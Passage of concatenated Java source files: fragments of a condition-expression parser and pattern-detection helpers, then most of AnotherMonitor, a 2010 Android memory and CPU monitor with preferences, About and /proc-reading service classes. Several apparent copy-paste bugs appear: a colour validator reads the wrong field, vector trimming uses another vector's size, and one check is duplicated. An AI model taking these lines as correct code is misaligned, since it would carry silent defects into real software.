List<Expression> _subCondExpList=new ArrayList<Expression>(5);
while(true){
funCallStartIndex=_tokenList.indexOf("v(",rightBraceIndex);
if(funCallStartIndex==-1){
break;
}
rightBraceIndex=_tokenList.findMatchRightBrace(funCallStartIndex+1,RawTokenType.LPAREN,RawTokenType.RPAREN);
PositionString returnVar=null;
if(funCallStartIndex>=2 &&
_tokenList.get(funCallStartIndex-1).rawType==RawTokenType.EQ &&
_tokenList.get(funCallStartIndex-2).rawType==RawTokenType.IDENTIFIER){
returnVar=_tokenList.get(funCallStartIndex-2);
}
Expression exp= ExpressionFactory.expInstance.getExpression(
returnVar,
_tokenList.subList(funCallStartIndex, rightBraceIndex+1));
_subCondExpList.add(exp);
}
Log.decIndence();
return new ConditionExpression(_tokenList,_subCondExpList);
}
}
| Java |
package detect;
import java.util.ArrayList;
import data.MethodsConstraints;
import detect.parse.ParseResult;
public class DetectResult {
public ParseResult pr=null;
public ArrayList<ArrayList<Integer>> setList;
public MethodsConstraints[] items;
public DetectResult(ParseResult _pr,ArrayList<ArrayList<Integer>> _setList,MethodsConstraints[] _items){
pr=_pr;
setList=_setList;
items=_items;
}
@Override
public String toString(){
StringBuilder sb=new StringBuilder();
//sb.append("\nsetsSize="+setList.size());
sb.append(pr.funName);
sb.append(":\r\n");
for(int i=0; i<setList.size(); i++){
sb.append("pattern "+i+": \n");
ArrayList<Integer> set=setList.get(i);
for(int j=0;j<set.size();j++){
MethodsConstraints mc=items[set.get(j)];
sb.append(" "+mc.left_event_name+" < "+mc.right_event_name);
if(j<set.size()-1){
sb.append(",\r\n");
}
else{
sb.append(".\r\n");
}
}
sb.append("\n");
}
return sb.toString();
}
}
| Java |
package detect;
import java.util.Arrays;
public class Log {
private static int indence=0;
private static String blankStr=null;
static{
char[] blankChars=new char[100];
Arrays.fill(blankChars, ' ');
blankStr=new String(blankChars);
}
public static void error(String error,String expStr){
System.err.println("Error: "+error+" in '"+expStr+"'");
}
public static void incIndence(){
indence+=3;
}
public static void decIndence(){
indence-=3;
}
public static void printTree(String tree){
System.out.print(blankStr.substring(0,indence));
System.out.println(tree+" ("+indence+")");
}
}
| Java |
/* Copyright 2010 Antonio Redondo Lopez.
* Source code published under the GNU GPL v3.
* For further information visit http://code.google.com/p/anothermonitor
*/
package com.example.anothermonitor;
import java.util.regex.Pattern;
import android.R.drawable;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.ComponentName;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.ServiceConnection;
import android.graphics.Color;
import android.os.Bundle;
import android.os.IBinder;
import android.view.View;
import android.view.View.OnFocusChangeListener;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.Spinner;
import android.widget.TabHost;
import android.widget.TabHost.TabSpec;
/**
* This class is intended to allow the user configuring some parameters of AnotherMonitor. It is the typical preferences window of any program. It shows (whereby an activity) a window with 4 tabs: Main, Appearance, Read/record and Draw. The Main tab allows configure the 3 most important parameters of the program, the Read interval, the Update interval and the Width interval. The Appearance tab allows to select the Happy menu icons and change the color of the graphic background and the graphic lines. Finally, the Read/record and Draw tabs allow to select or unselect the different values to be read/record and draw, respectively.
* <p>
* When the button OK is pressed the activity connect to the AnReaderService service and it removes all the elements of all the read values vectors if the Read interval changes or removes all the elements of some read value vector if it is unselected.
* <p>
* This activity could have used the classes of the android.preference packet to build the GUI, but I think the current preferences window is a little more intuitive and/or easy of understand. Anyway, it is not an important aspect.
*
* @version 1.0.0
*/
public class AnPreferencesWindow extends Activity {
private int readInterval;
/* This interface must be implemented when an Activity connect to a Service. AnPreferencesWindow.class connects to AnReaderService.class.
It only connects when the button OK is pressed and the AnotherMonitor.READ_INTERVAL has been modified
or some value has been unselected to be read*/
private ServiceConnection mConnection = new ServiceConnection() {
private AnReaderService myAnReaderService;
public void onServiceConnected(ComponentName className, IBinder service) {
myAnReaderService = ((AnReaderService.AnReadDataBinder)service).getService();
if (readInterval!=AnotherMonitor.READ_INTERVAL) {
myAnReaderService.memFree.removeAllElements();
myAnReaderService.buffers.removeAllElements();
myAnReaderService.cached.removeAllElements();
myAnReaderService.active.removeAllElements();
myAnReaderService.inactive.removeAllElements();
myAnReaderService.swapTotal.removeAllElements();
myAnReaderService.dirty.removeAllElements();
myAnReaderService.cPUTotalP.removeAllElements();
myAnReaderService.cPUAMP.removeAllElements();
myAnReaderService.cPURestP.removeAllElements();
}
if (!AnotherMonitor.MEMFREE_R) myAnReaderService.memFree.removeAllElements();
if (!AnotherMonitor.BUFFERS_R) myAnReaderService.buffers.removeAllElements();
if (!AnotherMonitor.CACHED_R) myAnReaderService.cached.removeAllElements();
if (!AnotherMonitor.ACTIVE_R) myAnReaderService.active.removeAllElements();
if (!AnotherMonitor.INACTIVE_R) myAnReaderService.inactive.removeAllElements();
if (!AnotherMonitor.SWAPTOTAL_R) myAnReaderService.swapTotal.removeAllElements();
if (!AnotherMonitor.DIRTY_R) myAnReaderService.dirty.removeAllElements();
if (!AnotherMonitor.CPUTOTALP_R) myAnReaderService.cPUTotalP.removeAllElements();
if (!AnotherMonitor.CPUAMP_R) myAnReaderService.cPUAMP.removeAllElements();
if (!AnotherMonitor.CPURESTP_R) myAnReaderService.cPURestP.removeAllElements();
unbindService(mConnection);
finish();
}
public void onServiceDisconnected(ComponentName className) {
myAnReaderService = null;
}
};
/*We link all components from the preferences.xml file to their programatic objects.*/
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.preferences);
TabHost mioTabHost = (TabHost)findViewById(R.id.tabhostPref);
mioTabHost.setup();
TabSpec myTabSpec1 = mioTabHost.newTabSpec("myTabSpec1");
myTabSpec1.setIndicator(getString(R.string.tab_main), getResources().getDrawable(drawable.stat_notify_sync)).setContent(R.id.tabPrefMain);
mioTabHost.addTab(myTabSpec1);
TabSpec myTabSpec2 = mioTabHost.newTabSpec("myTabSpec2");
myTabSpec2.setIndicator(getString(R.string.tab_appearance), getResources().getDrawable(drawable.stat_notify_chat)).setContent(R.id.tabPrefAppearance);
mioTabHost.addTab(myTabSpec2);
TabSpec myTabSpec3 = mioTabHost.newTabSpec("myTabSpec3");
myTabSpec3.setIndicator(getString(R.string.tab_read), getResources().getDrawable(drawable.star_big_off)).setContent(R.id.tabPrefRead);
mioTabHost.addTab(myTabSpec3);
TabSpec myTabSpec4 = mioTabHost.newTabSpec("myTabSpec4");
myTabSpec4.setIndicator(getString(R.string.tab_draw), getResources().getDrawable(drawable.star_big_on)).setContent(R.id.tabPrefDraw);
mioTabHost.addTab(myTabSpec4);
final Spinner spinnerRead = (Spinner) findViewById(R.id.spinner_read);
ArrayAdapter<CharSequence> arrayAdapterRead = ArrayAdapter.createFromResource(this, R.array.read_interval_array, android.R.layout.simple_spinner_item);
arrayAdapterRead.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
spinnerRead.setAdapter(arrayAdapterRead);
switch (AnotherMonitor.READ_INTERVAL) {
case 500: spinnerRead.setSelection(0); break;
case 1000: spinnerRead.setSelection(1); break;
case 2000: spinnerRead.setSelection(2); break;
case 4000: spinnerRead.setSelection(3); break;
}
final Spinner spinnerUpdate = (Spinner) findViewById(R.id.spinner_update);
ArrayAdapter<CharSequence> arrayAdapterUpdate = ArrayAdapter.createFromResource(this, R.array.update_interval_array, android.R.layout.simple_spinner_item);
arrayAdapterUpdate.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
spinnerUpdate.setAdapter(arrayAdapterUpdate);
switch (AnotherMonitor.UPDATE_INTERVAL) {
case 1000: spinnerUpdate.setSelection(0); break;
case 2000: spinnerUpdate.setSelection(1); break;
case 4000: spinnerUpdate.setSelection(2); break;
case 8000: spinnerUpdate.setSelection(3); break;
}
final Spinner spinnerWidth = (Spinner) findViewById(R.id.spinner_width);
ArrayAdapter<CharSequence> arrayAdapterWidth = ArrayAdapter.createFromResource(this, R.array.width_interval_array, android.R.layout.simple_spinner_item);
arrayAdapterWidth.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
spinnerWidth.setAdapter(arrayAdapterWidth);
switch (AnotherMonitor.WIDTH_INTERVAL) {
case 1: spinnerWidth.setSelection(0); break;
case 2: spinnerWidth.setSelection(1); break;
case 5: spinnerWidth.setSelection(2); break;
case 10: spinnerWidth.setSelection(3); break;
}
final CheckBox checkBoxHappyIcons = (CheckBox) findViewById(R.id.CheckBoxIcons);
checkBoxHappyIcons.setChecked(AnotherMonitor.HAPPYICONS);
final LinearLayout linearLayoutBackgroundColor = (LinearLayout) findViewById(R.id.LinearLayoutBackgroundColor);
linearLayoutBackgroundColor.setBackgroundColor(Color.parseColor(AnotherMonitor.BACKGROUND_COLOR));
final LinearLayout linearLayoutLinesColor = (LinearLayout) findViewById(R.id.LinearLayoutLinesColor);
linearLayoutLinesColor.setBackgroundColor(Color.parseColor(AnotherMonitor.LINES_COLOR));
final EditText editTextBackgroundColor = (EditText) findViewById(R.id.EditTextBackgroundColor);
editTextBackgroundColor.setText(AnotherMonitor.BACKGROUND_COLOR);
editTextBackgroundColor.setOnFocusChangeListener(new OnFocusChangeListener() {
@Override
public void onFocusChange(View v, boolean hasFocus) {
Pattern pattern = Pattern.compile("#[a-f0-9]{6}");
if (pattern.matcher(editTextBackgroundColor.getText().toString()).find()) linearLayoutBackgroundColor.setBackgroundColor(Color.parseColor(editTextBackgroundColor.getText().toString()));
else showAlertDialog(R.string.tab_appearance_alert_background_text, editTextBackgroundColor);
}
});
final EditText editTextLinesColor = (EditText) findViewById(R.id.EditTextLinesColor);
editTextLinesColor.setText(AnotherMonitor.LINES_COLOR);
editTextLinesColor.setOnFocusChangeListener(new OnFocusChangeListener() {
@Override
public void onFocusChange(View v, boolean hasFocus) {
Pattern pattern = Pattern.compile("#[a-f0-9]{6}");
if (pattern.matcher(editTextBackgroundColor.getText().toString()).find()) linearLayoutLinesColor.setBackgroundColor(Color.parseColor(editTextBackgroundColor.getText().toString()));
else showAlertDialog(R.string.tab_appearance_alert_lines_text, editTextLinesColor);
}
});
final CheckBox checkBoxMemFreeR = (CheckBox) findViewById(R.id.CheckBoxMemFreeR);
checkBoxMemFreeR.setChecked(AnotherMonitor.MEMFREE_R);
final CheckBox checkBoxBuffersR = (CheckBox) findViewById(R.id.CheckBoxBuffersR);
checkBoxBuffersR.setChecked(AnotherMonitor.BUFFERS_R);
final CheckBox checkBoxCachedR = (CheckBox) findViewById(R.id.CheckBoxCachedR);
checkBoxCachedR.setChecked(AnotherMonitor.CACHED_R);
final CheckBox checkBoxActiveR = (CheckBox) findViewById(R.id.CheckBoxActiveR);
checkBoxActiveR.setChecked(AnotherMonitor.ACTIVE_R);
final CheckBox checkBoxInactiveR = (CheckBox) findViewById(R.id.CheckBoxInactiveR);
checkBoxInactiveR.setChecked(AnotherMonitor.INACTIVE_R);
final CheckBox checkBoxSwapTotalR = (CheckBox) findViewById(R.id.CheckBoxSwapTotalR);
checkBoxSwapTotalR.setChecked(AnotherMonitor.SWAPTOTAL_R);
final CheckBox checkBoxDirtyR = (CheckBox) findViewById(R.id.CheckBoxDirtyR);
checkBoxDirtyR.setChecked(AnotherMonitor.DIRTY_R);
final CheckBox checkBoxCPUTotalPR = (CheckBox) findViewById(R.id.CheckBoxCPUTotalPR);
checkBoxCPUTotalPR.setChecked(AnotherMonitor.CPUTOTALP_R);
final CheckBox checkBoxCPUAMPR = (CheckBox) findViewById(R.id.CheckBoxCPUAMPR);
checkBoxCPUAMPR.setChecked(AnotherMonitor.CPUAMP_R);
final CheckBox checkBoxCPURestPR = (CheckBox) findViewById(R.id.CheckBoxCPURestPR);
checkBoxCPURestPR.setChecked(AnotherMonitor.CPURESTP_R);
final CheckBox checkBoxMemFreeD = (CheckBox) findViewById(R.id.CheckBoxMemFreeD);
checkBoxMemFreeD.setChecked(AnotherMonitor.MEMFREE_D);
final CheckBox checkBoxBuffersD = (CheckBox) findViewById(R.id.CheckBoxBuffersD);
checkBoxBuffersD.setChecked(AnotherMonitor.BUFFERS_D);
final CheckBox checkBoxCachedD = (CheckBox) findViewById(R.id.CheckBoxCachedD);
checkBoxCachedD.setChecked(AnotherMonitor.CACHED_D);
final CheckBox checkBoxActiveD = (CheckBox) findViewById(R.id.CheckBoxActiveD);
checkBoxActiveD.setChecked(AnotherMonitor.ACTIVE_D);
final CheckBox checkBoxInactiveD = (CheckBox) findViewById(R.id.CheckBoxInactiveD);
checkBoxInactiveD.setChecked(AnotherMonitor.INACTIVE_D);
final CheckBox checkBoxSwapTotalD = (CheckBox) findViewById(R.id.CheckBoxSwapTotalD);
checkBoxSwapTotalD.setChecked(AnotherMonitor.SWAPTOTAL_D);
final CheckBox checkBoxDirtyD = (CheckBox) findViewById(R.id.CheckBoxDirtyD);
checkBoxDirtyD.setChecked(AnotherMonitor.DIRTY_D);
final CheckBox checkBoxCPUAMPD = (CheckBox) findViewById(R.id.CheckBoxCPUAMPD);
checkBoxCPUAMPD.setChecked(AnotherMonitor.CPUAMP_D);
final CheckBox checkBoxCPURestPD = (CheckBox) findViewById(R.id.CheckBoxCPURestPD);
checkBoxCPURestPD.setChecked(AnotherMonitor.CPURESTP_D);
Button reset = (Button)findViewById(R.id.buttonReset);
reset.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
spinnerRead.setSelection(1);
spinnerUpdate.setSelection(2);
spinnerWidth.setSelection(2);
}
});
Button resetAppearance = (Button)findViewById(R.id.buttonResetAppearance);
resetAppearance.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
checkBoxHappyIcons.setChecked(false);
editTextBackgroundColor.setText("#000000");
editTextLinesColor.setText("#400000");
}
});
Button selectAllRead = (Button)findViewById(R.id.buttonSelectAllRead);
selectAllRead.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
checkBoxMemFreeR.setChecked(true);
checkBoxBuffersR.setChecked(true);
checkBoxCachedR.setChecked(true);
checkBoxActiveR.setChecked(true);
checkBoxInactiveR.setChecked(true);
checkBoxSwapTotalR.setChecked(true);
checkBoxDirtyR.setChecked(true);
checkBoxCPUTotalPR.setChecked(true);
checkBoxCPUAMPR.setChecked(true);
checkBoxCPURestPR.setChecked(true);
}
});
Button unselectAllRead = (Button)findViewById(R.id.buttonUnselectAllRead);
unselectAllRead.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
checkBoxMemFreeR.setChecked(false);
checkBoxBuffersR.setChecked(false);
checkBoxCachedR.setChecked(false);
checkBoxActiveR.setChecked(false);
checkBoxInactiveR.setChecked(false);
checkBoxSwapTotalR.setChecked(false);
checkBoxDirtyR.setChecked(false);
checkBoxCPUTotalPR.setChecked(false);
checkBoxCPUAMPR.setChecked(false);
checkBoxCPURestPR.setChecked(false);
}
});
Button selectAllDraw = (Button)findViewById(R.id.buttonSelectAllDraw);
selectAllDraw.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
checkBoxMemFreeD.setChecked(true);
checkBoxBuffersD.setChecked(true);
checkBoxCachedD.setChecked(true);
checkBoxActiveD.setChecked(true);
checkBoxInactiveD.setChecked(true);
checkBoxSwapTotalD.setChecked(true);
checkBoxDirtyD.setChecked(true);
checkBoxCPUAMPD.setChecked(true);
checkBoxCPURestPD.setChecked(true);
}
});
Button unselectAllDraw = (Button)findViewById(R.id.buttonUnselectAllDraw);
unselectAllDraw.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
checkBoxMemFreeD.setChecked(false);
checkBoxBuffersD.setChecked(false);
checkBoxCachedD.setChecked(false);
checkBoxActiveD.setChecked(false);
checkBoxInactiveD.setChecked(false);
checkBoxSwapTotalD.setChecked(false);
checkBoxDirtyD.setChecked(false);
checkBoxCPUAMPD.setChecked(false);
checkBoxCPURestPD.setChecked(false);
}
});
Button oK = (Button)findViewById(R.id.buttonOK);
oK.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
int x = 0;
int y = 0;
switch (spinnerRead.getSelectedItemPosition()) {
case 0: x = 500; break;
case 1: x = 1000; break;
case 2: x = 2000; break;
case 3: x = 4000; break;
}
switch (spinnerUpdate.getSelectedItemPosition()) {
case 0: y = 1000; break;
case 1: y = 2000; break;
case 2: y = 4000; break;
case 3: y = 8000; break;
}
if (x>y) showAlertDialog(R.string.tab_main_alert_text, spinnerUpdate);
else {
boolean happyIcons = AnotherMonitor.HAPPYICONS;
readInterval = AnotherMonitor.READ_INTERVAL;
switch (spinnerRead.getSelectedItemPosition()) {
case 0: AnotherMonitor.READ_INTERVAL = 500; break;
case 1: AnotherMonitor.READ_INTERVAL = 1000; break;
case 2: AnotherMonitor.READ_INTERVAL = 2000; break;
case 3: AnotherMonitor.READ_INTERVAL = 4000; break;
}
switch (spinnerUpdate.getSelectedItemPosition()) {
case 0: AnotherMonitor.UPDATE_INTERVAL = 1000; break;
case 1: AnotherMonitor.UPDATE_INTERVAL = 2000; break;
case 2: AnotherMonitor.UPDATE_INTERVAL = 4000; break;
case 3: AnotherMonitor.UPDATE_INTERVAL = 8000; break;
}
switch (spinnerWidth.getSelectedItemPosition()) {
case 0: AnotherMonitor.WIDTH_INTERVAL = 1; break;
case 1: AnotherMonitor.WIDTH_INTERVAL = 2; break;
case 2: AnotherMonitor.WIDTH_INTERVAL = 5; break;
case 3: AnotherMonitor.WIDTH_INTERVAL = 10; break;
}
AnotherMonitor.HAPPYICONS = checkBoxHappyIcons.isChecked();
AnotherMonitor.BACKGROUND_COLOR = editTextBackgroundColor.getText().toString();
AnotherMonitor.LINES_COLOR = editTextLinesColor.getText().toString();
if (happyIcons != AnotherMonitor.HAPPYICONS && !AnotherMonitor.HAPPYICONS) setResult(10);
if (happyIcons != AnotherMonitor.HAPPYICONS && AnotherMonitor.HAPPYICONS) setResult(20);
if (happyIcons == AnotherMonitor.HAPPYICONS) setResult(30);
AnotherMonitor.MEMFREE_R = checkBoxMemFreeR.isChecked();
AnotherMonitor.BUFFERS_R = checkBoxBuffersR.isChecked();
AnotherMonitor.CACHED_R = checkBoxCachedR.isChecked();
AnotherMonitor.ACTIVE_R = checkBoxActiveR.isChecked();
AnotherMonitor.INACTIVE_R = checkBoxInactiveR.isChecked();
AnotherMonitor.SWAPTOTAL_R = checkBoxSwapTotalR.isChecked();
AnotherMonitor.DIRTY_R = checkBoxDirtyR.isChecked();
AnotherMonitor.CPUTOTALP_R = checkBoxCPUTotalPR.isChecked();
AnotherMonitor.CPUAMP_R = checkBoxCPUAMPR.isChecked();
AnotherMonitor.CPURESTP_R = checkBoxCPURestPR.isChecked();
if (!AnotherMonitor.CPUTOTALP_R && !AnotherMonitor.CPUAMP_R && !AnotherMonitor.CPURESTP_R) AnotherMonitor.CPUP_R = false;
else AnotherMonitor.CPUP_R = true;
AnGraphic.INITIALICEGRAPHIC = true;
AnotherMonitor.MEMFREE_D = checkBoxMemFreeD.isChecked();
AnotherMonitor.BUFFERS_D = checkBoxBuffersD.isChecked();
AnotherMonitor.CACHED_D = checkBoxCachedD.isChecked();
AnotherMonitor.ACTIVE_D = checkBoxActiveD.isChecked();
AnotherMonitor.INACTIVE_D = checkBoxInactiveD.isChecked();
AnotherMonitor.SWAPTOTAL_D = checkBoxSwapTotalD.isChecked();
AnotherMonitor.DIRTY_D = checkBoxDirtyD.isChecked();
AnotherMonitor.CPUAMP_D = checkBoxCPUAMPD.isChecked();
AnotherMonitor.CPURESTP_D = checkBoxCPURestPD.isChecked();
(new AnPreferences(AnPreferencesWindow.this)).writePref();
/* We only connect to the AnReaderService service if the AnotherMonitor.READ_INTERVAL
* has been modified or some value has been unselected to be read.
* We do that to remove all the elements of all the read values vectors if the Read interval
* changes (the values in the graphic will be showed badly) or removes all the elements
* of some read value vector if it is unselected (it is not going to be drawn or recorded).*/
if (readInterval!=AnotherMonitor.READ_INTERVAL || !AnotherMonitor.MEMFREE_R || !AnotherMonitor.BUFFERS_R
|| !AnotherMonitor.CACHED_R || !AnotherMonitor.ACTIVE_R || !AnotherMonitor.INACTIVE_R
|| !AnotherMonitor.SWAPTOTAL_R || !AnotherMonitor.DIRTY_R || !AnotherMonitor.CPUTOTALP_R
|| !AnotherMonitor.CPUAMP_R || !AnotherMonitor.CPUAMP_R) {
bindService(new Intent(AnPreferencesWindow.this, AnReaderService.class), mConnection, 0);
} else finish();
}
}
});
Button cancel = (Button)findViewById(R.id.buttonCancel);
cancel.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
finish();
}
});
}
/**
* It creates an AlertDialog with the taken title. An AlertDialog is showed when the Update interval
* is higher than the Read interval or when a color value has been written badly.
*/
private void showAlertDialog(int title, final View view) {
AlertDialog.Builder myAlertDialogBuilder = new AlertDialog.Builder(AnPreferencesWindow.this);
myAlertDialogBuilder.setTitle(getString(R.string.tab_main_alert_title))
.setMessage(getString(title))
.setIcon(drawable.ic_dialog_alert)
.setCancelable(false)
.setNeutralButton(R.string.tab_main_alert_ok, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
dialog.cancel();
view.requestFocus();
}
});
myAlertDialogBuilder.create().show();
}
} | Java |
/* Copyright 2010 Antonio Redondo Lopez.
* Source code published under the GNU GPL v3.
* For further information visit http://code.google.com/p/anothermonitor
*/
package com.example.anothermonitor;
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
/**
* Show a window with information about the program and the author. There is no much to explain.
*
* @version 1.0.0
*/
public class AnAbout extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.about);
Button oK = (Button)findViewById(R.id.buttonOK);
oK.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
finish();
}
});
}
} | Java |
/* Copyright 2010 Antonio Redondo Lopez.
* Source code published under the GNU GPL v3.
* For further information visit http://code.google.com/p/anothermonitor
*/
package com.example.anothermonitor;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.text.DecimalFormat;
import java.util.Calendar;
import java.util.Vector;
import android.app.Notification;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Binder;
import android.os.IBinder;
import android.os.Process;
import android.widget.Toast;
/**
* The main scope of this class is to be run like a service and reading and (if selected) recording the memory and CPU values of the mobile Linux system. The first called method, onCreate(), creates the vector for every value and shows the Android status bar notifications.
* <p>
* The created vectors will be passed through AnotherMonitor class to an instance of AnGraphic to be drawn in the graphic. The view AnGraphic does not connect directly to the service because, as a view, it extends View, and then, it can not extends Activity to can connect with the service (see further in the section TODO).
* <p>
* The data structure selected to keep the values is a vector (implemented in Java by the class Vector) in place of another like queues because the class Vector is the one that allows to see, modify or remove any element of the structure without the need of that element be in the first position.
* <p>
* To read the values, from the onCreate() method is created and started a new thread where from which is called every time interval to the read() method. This method reads and saves values, and if the AnReaderService.RECORD flag is true, call to the record() method.
* <p>
* The memory values are read directly from the meminfo file of the Linux proc file system. In another hand, the CPU usage values do not appear in any place and they must be calculate from the values of the stat file and the other stat file of the AnotherMonitor process. See with more detail how to calculate the CPU usage values on http://stackoverflow.com/questions/1420426 and http://kernel.org/doc/Documentation/filesystems/proc.txt.
* <p>
* The stopRecord() is called when we want to stop a record and the getOutputStreamWriter() and getDate() methods are exclusively used by record().@author Antonio Redondo
*
* @version 1.0.0
*/
public class AnReaderService extends Service {
static boolean RECORD;
int memTotal, pID;
Vector<String> memFree, buffers, cached, active, inactive, swapTotal, dirty;
Vector<Float> cPUTotalP, cPUAMP, cPURestP;
private String x;
private String[] a;
private long workT, totalT, workAMT;
private long total, totalBefore, work, workBefore, workAM, workAMBefore;
private boolean FIRSTTIMEREAD_FLAG = true;
private boolean FIRSTTIMERECORD_FLAG = true;
private NotificationManager myNM;
private Notification myNotificationRead, myNotificationRecord;
private BufferedReader readStream;
private OutputStreamWriter recordStream;
// The Runnable used to read every time interval the memory and CPU usage.
private Runnable readRunnable = new Runnable() {
public void run() {
read(); // We call here read() because to draw the graphic we need at less 2 read values.
while (readThread == Thread.currentThread()) {
try {
read();
Thread.sleep(AnotherMonitor.READ_INTERVAL);
} catch (Exception e) {
e.printStackTrace();
}
}
}
};
// The Runnable that reads the values will be run from a separated thread. The performance is better.
private Thread readThread = new Thread(readRunnable, "readThread");
// A service must have a inner class which extends Binder and returns the service class.
class AnReadDataBinder extends Binder {
AnReaderService getService() {
return AnReaderService.this;
}
}
@Override
public void onCreate() {
/* We create the vector of every value with the default number of elements.
Afterwards this number will be automatically changed. */
memFree = new Vector<String>(AnotherMonitor.TOTAL_INTERVALS);
buffers = new Vector<String>(AnotherMonitor.TOTAL_INTERVALS);
cached = new Vector<String>(AnotherMonitor.TOTAL_INTERVALS);
active = new Vector<String>(AnotherMonitor.TOTAL_INTERVALS);
inactive = new Vector<String>(AnotherMonitor.TOTAL_INTERVALS);
swapTotal = new Vector<String>(AnotherMonitor.TOTAL_INTERVALS);
dirty = new Vector<String>(AnotherMonitor.TOTAL_INTERVALS);
cPUTotalP = new Vector<Float>(AnotherMonitor.TOTAL_INTERVALS);
cPUAMP = new Vector<Float>(AnotherMonitor.TOTAL_INTERVALS);
cPURestP = new Vector<Float>(AnotherMonitor.TOTAL_INTERVALS);
// We create the notifications for the status bar.
myNM = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
myNotificationRead = new Notification(R.drawable.iconstatusbar1, getString(R.string.notify_read), System.currentTimeMillis());
myNotificationRead.setLatestEventInfo(getApplicationContext(), "anotherMonitor", getString(R.string.notify_read2), PendingIntent.getActivity(this, 0, new Intent(this, AnotherMonitor.class), 0));
myNotificationRecord = new Notification(R.drawable.iconstatusbar2, getString(R.string.notify_record), System.currentTimeMillis());
myNotificationRecord.setLatestEventInfo(getApplicationContext(), "anotherMonitor", getString(R.string.notify_record2), PendingIntent.getActivity(this, 0, new Intent(this, AnotherMonitor.class), 0));
myNM.notify(3, myNotificationRead);
pID = Process.myPid();
readThread.start(); // We start the threat which read the values.
}
@Override
public IBinder onBind(Intent intent) {
return new AnReadDataBinder();
}
@Override
public void onDestroy() {
if (RECORD) stopRecord();
myNM.cancelAll();
try {
readThread.interrupt();
} catch (Exception e) {
e.printStackTrace();
}
readThread = null;
}
/**
* It reads every time interval the values of the memory and CPU usage.
*/
private void read() {
try {
readStream = new BufferedReader(new FileReader("/proc/meminfo"));
x = readStream.readLine();
while (x!=null) {
/* When the limit TOTAL_INTERVALS is surpassed by some vector we have to remove all
* the surpassed elements because, if not, the capacity of the vector will be increase x2. */
while (memFree.size()>=AnotherMonitor.TOTAL_INTERVALS) memFree.remove(memFree.size()-1);
while (buffers.size()>=AnotherMonitor.TOTAL_INTERVALS) buffers.remove(buffers.size()-1);
while (cached.size()>=AnotherMonitor.TOTAL_INTERVALS) cached.remove(cached.size()-1);
while (active.size()>=AnotherMonitor.TOTAL_INTERVALS) active.remove(active.size()-1);
while (inactive.size()>=AnotherMonitor.TOTAL_INTERVALS) inactive.remove(inactive.size()-1);
while (swapTotal.size()>=AnotherMonitor.TOTAL_INTERVALS) swapTotal.remove(swapTotal.size()-1);
while (dirty.size()>=AnotherMonitor.TOTAL_INTERVALS) dirty.remove(dirty.size()-1);
while (cPUTotalP.size()>=AnotherMonitor.TOTAL_INTERVALS) cPUTotalP.remove(dirty.size()-1);
while (cPUAMP.size()>=AnotherMonitor.TOTAL_INTERVALS) cPUAMP.remove(dirty.size()-1);
while (cPURestP.size()>=AnotherMonitor.TOTAL_INTERVALS) cPURestP.remove(dirty.size()-1);
// We read the memory values. The percents are calculated in the AnotherMonitor class.
if (FIRSTTIMEREAD_FLAG && x.startsWith("MemTotal:")) memTotal = Integer.parseInt(x.split("[ ]+", 3)[1]); FIRSTTIMEREAD_FLAG = false;
if (AnotherMonitor.MEMFREE_R && x.startsWith("MemFree:")) memFree.add(0, x.split("[ ]+", 3)[1]);
if (AnotherMonitor.BUFFERS_R && x.startsWith("Buffers:")) buffers.add(0, x.split("[ ]+", 3)[1]);
if (AnotherMonitor.CACHED_R && x.startsWith("Cached:")) cached.add(0, x.split("[ ]+", 3)[1]);
if (AnotherMonitor.ACTIVE_R && x.startsWith("Active:")) active.add(0, x.split("[ ]+", 3)[1]);
if (AnotherMonitor.INACTIVE_R && x.startsWith("Inactive:")) inactive.add(0, x.split("[ ]+", 3)[1]);
if (AnotherMonitor.SWAPTOTAL_R && x.startsWith("SwapTotal:")) swapTotal.add(0, x.split("[ ]+", 3)[1]);
if (AnotherMonitor.DIRTY_R && x.startsWith("Dirty:")) dirty.add(0, x.split("[ ]+", 3)[1]);
x = readStream.readLine();
}
/* We read and calculate the CPU usage percents. It is possible that negative values or values higher than 100% appear.
Get more information about how it is done on http://stackoverflow.com/questions/1420426
To see what is each number, see http://kernel.org/doc/Documentation/filesystems/proc.txt */
if (AnotherMonitor.CPUP_R) {
readStream = new BufferedReader(new FileReader("/proc/stat"));
a = readStream.readLine().split("[ ]+", 9);
work = Long.parseLong(a[1]) + Long.parseLong(a[2]) + Long.parseLong(a[3]);
total = work + Long.parseLong(a[4]) + Long.parseLong(a[5]) + Long.parseLong(a[6]) + Long.parseLong(a[7]);
readStream = new BufferedReader(new FileReader("/proc/"+pID+"/stat"));
a = readStream.readLine().split("[ ]+", 18);
workAM = Long.parseLong(a[13]) + Long.parseLong(a[14]) + Long.parseLong(a[15]) + Long.parseLong(a[16]);
if (totalBefore != 0) {
workT = work - workBefore;
totalT = total - totalBefore;
workAMT = workAM - workAMBefore;
if (AnotherMonitor.CPUTOTALP_R) cPUTotalP.add(0, workT*100/(float)totalT);
if (AnotherMonitor.CPUAMP_R) cPUAMP.add(0, workAMT*100/(float)totalT);
